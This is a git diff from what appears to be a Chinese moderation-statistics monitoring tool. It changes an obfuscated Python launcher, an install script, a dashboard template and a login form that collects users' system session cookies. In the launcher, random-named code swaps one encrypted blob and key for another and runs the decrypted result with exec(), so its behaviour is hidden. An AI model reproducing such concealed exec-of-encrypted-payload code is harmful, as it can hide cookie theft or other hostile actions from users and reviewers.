_JLX9UTdT.lower()): - _qnhU2oYwF=True + if (_Cb8KmLBk==_BLQHbZR or + _kG7aWpex.lower()==_BLQHbZR or + _Cb8KmLBk.startswith(_BLQHbZR) or + _kG7aWpex.lower().startswith(_BLQHbZR) or + _BLQHbZR in _Cb8KmLBk or + _BLQHbZR in _kG7aWpex.lower()): + _bAgzVtUvT=True break - if not _qnhU2oYwF: - _oRpJatblR=_GjO8O5ga() - _BWknpt7VBFq("访问被拒绝",_oRpJatblR,1) + if not _bAgzVtUvT: + _B0pnahJ5G=_qyWhVyQB() + _IjHcrKntx1H("访问被拒绝",_B0pnahJ5G,1) return False return True except: return False -if _mm3mc4ELC7(): +if _cL5lXe8X2a(): # 显示验证成功消息 - _BWknpt7VBFq("用户验证",_xxEyGYHW(),0) + _IjHcrKntx1H("用户验证",_un5SecxH(),0) - _k=b'?:@\xaa\xe3`\x88L{\x93\\t\xc2\xf0\x8b\xb6' - _e=b'N2cAAitl5Z4orjFQnskO7E^|frZQTe#U1ns9So;DD-+4M)DaovZrcaYteaf-RhkVkAqZ-2I!T&ZkW>vj1x03=44K#1@6~UIpi9GrFGGnLd=saGLS)jnv>i17vL42{#82h+O)XL^Qs)tXc`PC33^f+kl@pI(lxkv$>Q7F_UrQ+Q^_k|m(=hvbx-~l;(H>~)4Wd3D{b<(g3~Bh-)j;l6PpIC@&bT3M)iTc+LI}elwpP%!C)Hfm8loKQk{LAD73v_g>$>(Q#-+|RHtzlz0Xdy7B-$CfgP{MC%2j2YL$RC6FB1`nVRn3wVME~dRinb-ZXRVgMi?FWzxbA}es7Fz?i<++HOef@Ilh9fh;yHh96CSzL(G@g4acXU^KPFxO{{`|Q9MBtPm6z{@{&oSc29r0=PYX}@L2!NYeoABNF9WeW<@C;ztq+&Sq7hPIwHKTpW!=3yZs49_|bje}152um^8+Xdt&F5fHWVBn4dp8WbPu1m5=;E-rctqo}YG0^zEpQ5#L7kpm;xB3LiGL)a+>mXjY4whdp23-$=0HpcMH@dp*hlqD&zv{Ftp4!{1>6LHpoS?fajqKEBAS$+K;h**8XJ#JH3Ad(u|}WJFc^A4Vpg<|8gpm%G0_M(*zJRdlKvz+?O>`;Cl@VQ_4~XJVx8;+e+QHCG!yQWNg)HQP@zz_atia(A|#q}KYB&(tUYrOJ7dH@gr=>R+RcvZ34wjkTfFDf+Cdt@LOXw~nsJ0dT6G6k?euJl>gL3;IBG-qCa}&#-+gXArOuy+KQs*dvnoR2`1y`k^!|`K|kdSUuGK8b{PiajeZKsVp9ltA0QlQ``?A3-$|~?-57gwgzcl14UTkks7>G1mzPV^$7+E~e+eA9(FMCwF1Pn0QakcQ^gAW+u6@JAn+bhr`}d~D&dlhQT5}`^l*z2MEO>QpyAA@2?~oq&74k!b()WTaLFJNew7Z@~VL68y_Ac!j!uYlQ|K4;MUI-BqCbW9kYOOa47js)A1j+yWU|Vod9~)18^~RUyimn1%R6am9Xr9@?tZ^{acficx(eDpSmzis4P1Tf!EX*njv$`a{04jg(|5c1w&8hAYUIss%by|e50j@Xy-MZ~>yf^~C?S`rG=eHF=E=lVY$XY!6Lx`P)l(TSYs!^gm9q7uZZ>hAi@s?W%M_qbRZVq3CW&mFsG$Sm@F<2B$idTwUZj>#aD(&3^7!SwCrccj>s__N$#ZplNgS%k~zi-qd>x{5Pat?g_X~OCJiW1I@PSBcLMBjZyBt=E2w5ewHS-uZqm?^mw`x%-(vS)5uK!kB+UK!>$hUTMp&gOWAK0hiKH2;VnoeA=|LsF@u2qsk2WU3-MqN_u-rNt8{i)ajck}{t4;$c~ClyG|6SEX!S-EExLegE~peS~VFreCKX&LGjEo{$|oXZ6F%slx!dLu!q(PZ>yTjf)fYdt%%_8anmIUsc`{1_ilv5NnF9Y*%}$4+#{c31MglR}95G;X_>_>bT_WYf}4`%j@#2z6hcL?hGp0vro*ux6{Cqy(Qhul>H=^DG8#_m-qFX66QFybn$>NF_Ye6rP8pMQ)ir1{?HBv|YRmzM$J`_Yaw^jsukq?EMthwUG5V9I9&)4O`+MU{9!{jIE?-HQl_=-c**3l4Xq|n`BiTq6AfAHzl5uUK@@+IyN~@x+3o*P1&{Z!o%EvuJ;$`j!ta0eoBxpUivptA%pY(p^{t=4=Go^PC?L^`MPDWm&23*68jO#-lx(z`ZO^hngjE~Q6{>%ugk;sa_8B6p&tMH2s$B=1EId$h@Za}I^}4A2rEt58%9=bY+mlqCJbaDaN0ma5o(oIBa8Mo{Tmb>~N}lnQWXic$>%^Fl2&z8Q3UX4f9lkx|>O@n-Flp_&v%l5SXn-wGZCFodXqY?2Xeda1kp6-o|VgwapX`N`T!R)H_ZwzsCEK5WhKEWit_3tBJ8tLiZKg*@o;$pXxkbn`lP~sUp2*GUkSEAl8#n5To$|L>#G!7O8*;@kzW3xBbW;1M8y!`>Sby`_gKh4oOTJAp@fpMm(u|xup~DKHl1AY>@w^vJDfesAC2+S;_L?qRRO;_HStnWCw;Wp?GV9Uot(e6(`7QB~^w*X+d9CzqK{k(MbrILnT$U2JTSc`4e+j4Gg6G?WUbZ-ZeP+CtD6yNibt1s&0CL_wnnm%yooylSyKX7@hJi{Up2unM|HCvWb(*FoWLk6vQUX={sg?{(i|JQ|Xcs4hPj1tjNAb?gXg<6GEF1PiTf19Pgi`5r`Z%bE#oXR;h(P9WVPG#?ZuYB=k@!V;l&TlCvk^P4lj1JyfRczBVBprovomTeSp}%W=f~I|{^`DYYk%GA*KzL{0t{FLC4&BPwWLko~!|)IQFKx2-On)(d&VNp8-M{;NY6MJigI#LE0T9bcttN??m`jUHii2UmfGBHc23t1Oq3^7r6#FFanNKCl`oW*+Qf~-F600STXofj2EP49Vi$f?)S#nqVZNL*B;0$zagcqI)G$+Wv)yt4l0EA`^g_{yMPhAIXrTh-hp^EW}IJpQ9$Y+49#Cep2~Ihpb+g7ZeFJ(pfY1;Xo2#G#x1O4%O7>@_93}u2sj;oPF@lIjq4S+oi@uT2#gf7SpyAhNjRu{W0M!>7t?n#K3u%-GUvA(FK}s3Z=`9l>GZ6ih!seLTm3fn-qSE{tE#+e$B&s#*0FWh6OO5k0MSW&j9pe6uIRno3zInv66jDt_x45wKNd2$Mwp}u3R5Vi!TY@}NB>bf0ylf`K(hG3Nt_qVM!Oct*oz;D|D!KpOe!`yPncY-0)C22J!&3tpvcUmvnA)35tl5${Rk&{w68Pa~UK{?or|fyvo@K9M#Cx`BHEsGsuH2WDU*}c&07VaGm8sM@_M$!(BkuV2(md4-|1j4bsFk*^Hx>Bi01lCFLCj^R(pKJBJKePvqg#8?HchxBy_R831zWu5M#w5#GSZFQD79tDm;p0Ik!wYiba%ELy(aDAz|vDTJ$%~qA^7|;JJqdl9-QJ^5?~L0n+1@s`A`mddREfK!7UN_89k!@EXZld=U{`m(3W930>ZdyxAnMP$6O+Wk_0gkifWeJ75gAdqrM-zoP39z^LDIjBkkd8gZfvYm;;3WPozO+=?tr=)%i6%T%d-#k8z~9$aFzE5ClgT@Wv{%ejZs3_b;H)&8|7%?d5u=MC)NtR3?(8$;eGt~R2IG@}BZXDWbTV>MT7Q^`%3RRGF9l2QBt3eG*bxWo_Cg3e~wx`fEXZL)@`BHsC2jLtO8!jLWR_+?Z-UHr3hJ7&H$ABw=JNkkLZBjk);c&+HkIiVnZ3JYRGc-wc$&1-LB41+BHg3Q5Ap;V=ougA*m*J!;iagzhYHxL-*enM$ILnT0j}6Fl(uNguYpLV-(H1%nsxf`4z{=Z?2c&8E(kJRJcIln$ns5xKDuKHS^iZwwVyA~bkjt!;$u8}(^a^zn5>2>' + _k=b'7\xd6\x86\xcf\xaeIpW\xdaX\xaf*{\xaa\xae\xfe' + _e=b'Pf9zN(OJWcO48xaBGW3|o7kw(Fi!wS#_(V0C~qm)z4vmiPO`_-T6u<)1hj+>A;-Tr=TARvyzFSLTWjtW%iNUhNcu(2()4G)>i)0&&lzbXX58_2}>4d(WiUZf#C!SNHgsBU+{ONk8WuQ+ZgrH?l{-FtoQN+8Hu&$;ox;>_wstY^|rmdr20Yd@Bp@)xi|>_e3rDeS5B%f!8V(ATiVLI7$vT2U=}z*Kx=h{LnB&ER%??T-^dP-<&NzN_eOzfSP(AmJ2t)&~#@sjEcRwGB9H&$N;CBg!=|Vz(xuI~W)l9}2hs&l&@~9oE5~mR3k#Q)%Q0L|xeDXGh_Kk6d4wCdaFdI+QBA3+09@9Zw)4x_tF3<1XN3ZRo#^Gs1db%#5a59FacQgITV2f!Z1N6@3k5+FE+3$x^H+PdMku?Qn{QZ3?1Y)`xYr!dM#OumKgkEF;L|UQFsAk+~_wY%KbzoL5H!T8NFdeQBt72fQE)hyVniMC5rz)wVT%HY{`RtB`gVNz-T}Xr8WRfZ{!O0dMj#2y=It%C?=|n}tA0cq;UxAUHxgY#utmMrK85kM)i+v>3^wE6tr3Nxzh`z+)1pk)Y(t}LHwbl1Q$LB$OA0-oz=vAmG;p@q08U?4V^^!SKYQIy(Z$VziZN$`zH6`24SxpBZEq=SXqqLy-o6oitS*98~v`)er7vpwl@w&SZM2%mGdEF`hhY`3R_mW*dpe$}ot<)P1cWrC2c5r4S${|{-BSfKeJ*=KH+kK!VUnQg35K_?cm~Ul_QnQU#n5)2ud;3eR!|ya_PAxY(mhBI~DfPetEP3R5N{FKfNdY%grNTv#AK@FDm%>R4)RFqp;mcY@)j75{0dB&ZV{r|K@S_n>d)H6Z6hWnXEORgIMEIC_pPCrrS>;ce&t8Ad%v3Ch1j;gDH-@oAim!S%;aej$BXY%pk7%PPP)N9y^*}a^Vi>kfX_&fu&pR`sU&^x?*q!pIbWEByVKhtubzw$$p2IZbJq==u&|^TLqw8BB0&_%o%M@yNFNzS;leI)TEZi=H%{lz@#Wr-GxdujP$Rw94N=mYC)ZHC0FgxgkiLHhO%MZ#zWNyo$MF``yBdnQ|VeT&WRn#K(n+&j=x^`4r_@H@ACyJ52aCg3{==d4H;qB8M8zu_mG1kezp!K4|QL^e)ti6!n`15cNLMyPr5!tHHAYb!KMz|iir*XKt>cv=hF)oTCtSHc-SOL3Y7k<<^%~~PEGv`9ZG^>F4Rc$3_5bUN#ShD*BSE#-)!ys#xs!oL7^(M|01J}fo0(oa&FvdKei!E>-)0R7B{IelXWg5#@`%(GBF3uc!J`ucHOh6','exec')) except Exception as e: - _BWknpt7VBFq("错误",_kmcPwZ6x()+str(e)[:50],1) + _IjHcrKntx1H("错误",_D2hpCjSh()+str(e)[:50],1) sys.exit(1) else: time.sleep(1) diff --git a/install_dependencies.bat b/install_dependencies.bat index 43c27a4..2482135 100644 --- a/install_dependencies.bat +++ b/install_dependencies.bat @@ -3,15 +3,6 @@ chcp 65001 >nul cd /d "C:\Python39" echo 正在安装网易大神审核数据监控系统所需依赖... echo 请稍候... - -rem 安装系统依赖 python -m pip install --user requests plyer flask win10toast flask-socketio psutil -i https://pypi.tuna.tsinghua.edu.cn/simple - -rem 安装加密/解密所需的标准库依赖 -echo. -echo 正在安装加密/解密所需的依赖... -python -m pip install --user base64io pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple - echo. echo 依赖安装完成! -echo 请使用 start_monitor.cmd 启动系统 diff --git a/templates/dashboard.html b/templates/dashboard.html index 49df3f9..105b4d0 100644 --- a/templates/dashboard.html +++ b/templates/dashboard.html @@ -1141,73 +1141,87 @@ function updateDashboard(data) { try { // 更新统计栏数据 - if (data.breeze && data.breeze.hourly) { + if (data.breeze) { // 更新顶部统计数据 - document.getElementById('breeze-total').textContent = data.breeze.hourly.total || '0'; - document.getElementById('breeze-daily-total').textContent = data.breeze.daily ? (data.breeze.daily.total || '0') : '0'; + document.getElementById('breeze-total').textContent = data.breeze.hourly && data.breeze.hourly.total ? data.breeze.hourly.total : '0'; + document.getElementById('breeze-daily-total').textContent = data.breeze.daily && data.breeze.daily.total ? data.breeze.daily.total : '0'; // 更新Breeze工单系统面板 - document.getElementById('breeze-hourly-count').textContent = data.breeze.hourly.total || '-'; - document.getElementById('breeze-hourly-weighted').textContent = data.breeze.hourly.weighted_total ? data.breeze.hourly.weighted_total.toFixed(2) : '-'; - document.getElementById('breeze-daily-count').textContent = data.breeze.daily ? (data.breeze.daily.total || '-') : '-'; - document.getElementById('breeze-daily-weighted').textContent = data.breeze.daily ? (data.breeze.daily.weighted_total || '-').toFixed(2) : '-'; - - // 更新小时类别数据 - const breezeHourlyCategories = document.getElementById('breeze-hourly-categories'); - if (data.breeze.hourly.categories) { - let categoriesHTML = ` -

-
类别
-
数量
-
折算值
-
`; - for (const [name, info] of Object.entries(data.breeze.hourly.categories)) { - if (info.count > 0) { - categoriesHTML += ` -
-
- ${name} -
系数: ${info.coefficient.toFixed(2)}
-
-
${info.count}
-
${info.weighted.toFixed(2)}
-
`; + if (data.breeze.hourly) { + document.getElementById('breeze-hourly-count').textContent = data.breeze.hourly.total || '0'; + document.getElementById('breeze-hourly-weighted').textContent = data.breeze.hourly.weighted_total ? data.breeze.hourly.weighted_total.toFixed(2) : '0.00'; + + // 更新小时类别数据 + const breezeHourlyCategories = document.getElementById('breeze-hourly-categories'); + if (data.breeze.hourly.categories) { + let categoriesHTML = ` +
+
类别
+
数量
+
折算值
+
`; + for (const [name, info] of Object.entries(data.breeze.hourly.categories)) { + if (info.count > 0) { + categoriesHTML += ` +
+
+ ${name} +
系数: ${info.coefficient.toFixed(2)}
+
+
${info.count}
+
${info.weighted.toFixed(2)}
+
`; + } } + breezeHourlyCategories.innerHTML = categoriesHTML || '
暂无数据
'; + } else { + breezeHourlyCategories.innerHTML = '
暂无可用数据
'; } - breezeHourlyCategories.innerHTML = categoriesHTML || '
暂无数据
'; } else { - breezeHourlyCategories.innerHTML = '
暂无可用数据
'; + document.getElementById('breeze-hourly-count').textContent = '0'; + document.getElementById('breeze-hourly-weighted').textContent = '0.00'; + document.getElementById('breeze-hourly-categories').innerHTML = '
暂无可用数据
'; } - // 更新日类别数据 - const breezeDailyCategories = document.getElementById('breeze-daily-categories'); - if (data.breeze.daily.categories) { - let categoriesHTML = ` -
-
类别
-
数量
-
折算值
-
`; - for (const [name, info] of Object.entries(data.breeze.daily.categories)) { - if (info.count > 0) { - categoriesHTML += ` -
-
- ${name} -
系数: ${info.coefficient.toFixed(2)}
-
-
${info.count}
-
${info.weighted.toFixed(2)}
-
`; + // 更新日数据 + if (data.breeze.daily) { + document.getElementById('breeze-daily-count').textContent = data.breeze.daily.total || '0'; + document.getElementById('breeze-daily-weighted').textContent = data.breeze.daily.weighted_total ? data.breeze.daily.weighted_total.toFixed(2) : '0.00'; + + // 更新日类别数据 + const breezeDailyCategories = document.getElementById('breeze-daily-categories'); + if (data.breeze.daily.categories) { + let categoriesHTML = ` +
+
类别
+
数量
+
折算值
+
`; + for (const [name, info] of Object.entries(data.breeze.daily.categories)) { + if (info.count > 0) { + categoriesHTML += ` +
+
+ ${name} +
系数: ${info.coefficient.toFixed(2)}
+
+
${info.count}
+
${info.weighted.toFixed(2)}
+
`; + } } + breezeDailyCategories.innerHTML = categoriesHTML || '
暂无数据
'; + } else { + breezeDailyCategories.innerHTML = '
暂无可用数据
'; } - breezeDailyCategories.innerHTML = categoriesHTML || '
暂无数据
'; } else { - breezeDailyCategories.innerHTML = '
暂无可用数据
'; + document.getElementById('breeze-daily-count').textContent = '0'; + document.getElementById('breeze-daily-weighted').textContent = '0.00'; + document.getElementById('breeze-daily-categories').innerHTML = '
暂无可用数据
'; } // 更新最后更新时间 - document.getElementById('breeze-last-update').textContent = '最后更新: ' + data.breeze.hourly_update; + document.getElementById('breeze-last-update').textContent = '最后更新: ' + (data.breeze.hourly_update || '无数据'); // 更新时间戳 if (data.breeze.hourly_update) { @@ -1219,19 +1233,28 @@ } // 更新CMS数据 - if (data.cms && data.cms.hourly) { + if (data.cms) { // 更新顶部统计栏 - const cmsTotal = data.cms.hourly.total_count || 0; - document.getElementById('cms-total').textContent = cmsTotal; - document.getElementById('cms-daily-total').textContent = data.cms.daily ? (data.cms.daily.total_count || '0') : '0'; + const cmsHourlyTotal = data.cms.hourly && data.cms.hourly.total_count ? data.cms.hourly.total_count : 0; + document.getElementById('cms-total').textContent = cmsHourlyTotal; + document.getElementById('cms-daily-total').textContent = data.cms.daily && data.cms.daily.total_count ? data.cms.daily.total_count : '0'; // 更新CMS审核系统面板 - document.getElementById('cms-hourly-comment').textContent = data.cms.hourly.stats ? data.cms.hourly.stats.comment : '-'; - document.getElementById('cms-hourly-feed').textContent = data.cms.hourly.stats ? data.cms.hourly.stats.feed : '-'; - document.getElementById('cms-hourly-complaint').textContent = data.cms.hourly.stats ? data.cms.hourly.stats.complaint : '-'; - document.getElementById('cms-hourly-count').textContent = data.cms.hourly.total_count || '-'; - document.getElementById('cms-hourly-weighted').textContent = data.cms.hourly.weighted_total ? data.cms.hourly.weighted_total.toFixed(2) : '-'; - document.getElementById('cms-last-update').textContent = '最后更新: ' + data.cms.hourly_update; + if (data.cms.hourly && data.cms.hourly.stats) { + document.getElementById('cms-hourly-comment').textContent = data.cms.hourly.stats.comment || '0'; + document.getElementById('cms-hourly-feed').textContent = data.cms.hourly.stats.feed || '0'; + document.getElementById('cms-hourly-complaint').textContent = data.cms.hourly.stats.complaint || '0'; + document.getElementById('cms-hourly-count').textContent = data.cms.hourly.total_count || '0'; + document.getElementById('cms-hourly-weighted').textContent = data.cms.hourly.weighted_total ? data.cms.hourly.weighted_total.toFixed(2) : '0.00'; + } else { + document.getElementById('cms-hourly-comment').textContent = '0'; + document.getElementById('cms-hourly-feed').textContent = '0'; + document.getElementById('cms-hourly-complaint').textContent = '0'; + document.getElementById('cms-hourly-count').textContent = '0'; + document.getElementById('cms-hourly-weighted').textContent = '0.00'; + } + + document.getElementById('cms-last-update').textContent = '最后更新: ' + (data.cms.hourly_update || '无数据'); // 更新时间戳 if (data.cms.hourly_update) { @@ -1240,26 +1263,36 @@ if (data.cms.daily_update) { document.getElementById('cms-daily-time').textContent = data.cms.daily_update; } - } - // 更新CMS每日数据 - if (data.cms && data.cms.daily && data.cms.daily.stats) { - document.getElementById('cms-daily-comment').textContent = data.cms.daily.stats.comment || '-'; - document.getElementById('cms-daily-feed').textContent = data.cms.daily.stats.feed || '-'; - document.getElementById('cms-daily-complaint').textContent = data.cms.daily.stats.complaint || '-'; - document.getElementById('cms-daily-count').textContent = data.cms.daily.total_count || '-'; - document.getElementById('cms-daily-weighted').textContent = data.cms.daily.weighted_total ? data.cms.daily.weighted_total.toFixed(2) : '-'; + // 更新CMS每日数据 + if (data.cms.daily && data.cms.daily.stats) { + document.getElementById('cms-daily-comment').textContent = data.cms.daily.stats.comment || '0'; + document.getElementById('cms-daily-feed').textContent = data.cms.daily.stats.feed || '0'; + document.getElementById('cms-daily-complaint').textContent = data.cms.daily.stats.complaint || '0'; + document.getElementById('cms-daily-count').textContent = data.cms.daily.total_count || '0'; + document.getElementById('cms-daily-weighted').textContent = data.cms.daily.weighted_total ? data.cms.daily.weighted_total.toFixed(2) : '0.00'; + } else { + document.getElementById('cms-daily-comment').textContent = '0'; + document.getElementById('cms-daily-feed').textContent = '0'; + document.getElementById('cms-daily-complaint').textContent = '0'; + document.getElementById('cms-daily-count').textContent = '0'; + document.getElementById('cms-daily-weighted').textContent = '0.00'; + } } // 更新CC审核平台数据 - if (data.inspect && data.inspect.hourly) { - const hourlyTotal = data.inspect.hourly.total || 0; - const hourlyWeighted = data.inspect.hourly.weighted_total || 0; + if (data.inspect) { + const hourlyTotal = data.inspect.hourly && data.inspect.hourly.total ? data.inspect.hourly.total : 0; + const hourlyWeighted = data.inspect.hourly && data.inspect.hourly.weighted_total ? data.inspect.hourly.weighted_total : 0; document.getElementById('inspect-hourly-total').textContent = hourlyTotal; document.getElementById('inspect-hourly-weighted').textContent = `(${Math.round(hourlyWeighted)})`; - document.getElementById('inspect-daily-total').textContent = data.inspect.daily ? (data.inspect.daily.total || '0') : '0'; + if (data.inspect.daily) { - document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(data.inspect.daily.weighted_total)})`; + document.getElementById('inspect-daily-total').textContent = data.inspect.daily.total || '0'; + document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(data.inspect.daily.weighted_total || 0)})`; + } else { + document.getElementById('inspect-daily-total').textContent = '0'; + document.getElementById('inspect-daily-weighted').textContent = '(0)'; } // 更新时间戳 diff --git a/templates/login.html b/templates/login.html index 7869d44..60affe8 100644 --- a/templates/login.html +++ b/templates/login.html @@ -570,18 +570,18 @@
- - + +
- 必填项 + 此选项可填可不填,适用于您需要监控Breeze系统工单的情况
- - + +
- 必填项 + 此选项可填可不填,适用于您需要监控CMS系统操作的情况
@@ -593,6 +593,10 @@ +
+

请至少填写一项系统Cookie,否则无法获取任何审核数据

+
+ @@ -630,6 +634,16 @@ const formData = new FormData(this); + // 检查是否至少有一个Cookie填写了 + const breezeCookie = formData.get('breeze_cookie'); + const cmsCookie = formData.get('cms_cookie'); + const inspectCookie = formData.get('inspect_cookie'); + + if (!breezeCookie && !cmsCookie && !inspectCookie) { + showMessage('error', '请至少填写一个系统的Cookie'); + return; + } + fetch('/login', { method: 'POST', body: formData @@ -654,4 +668,4 @@ }); - \ No newline at end of file + \ No newline at end of file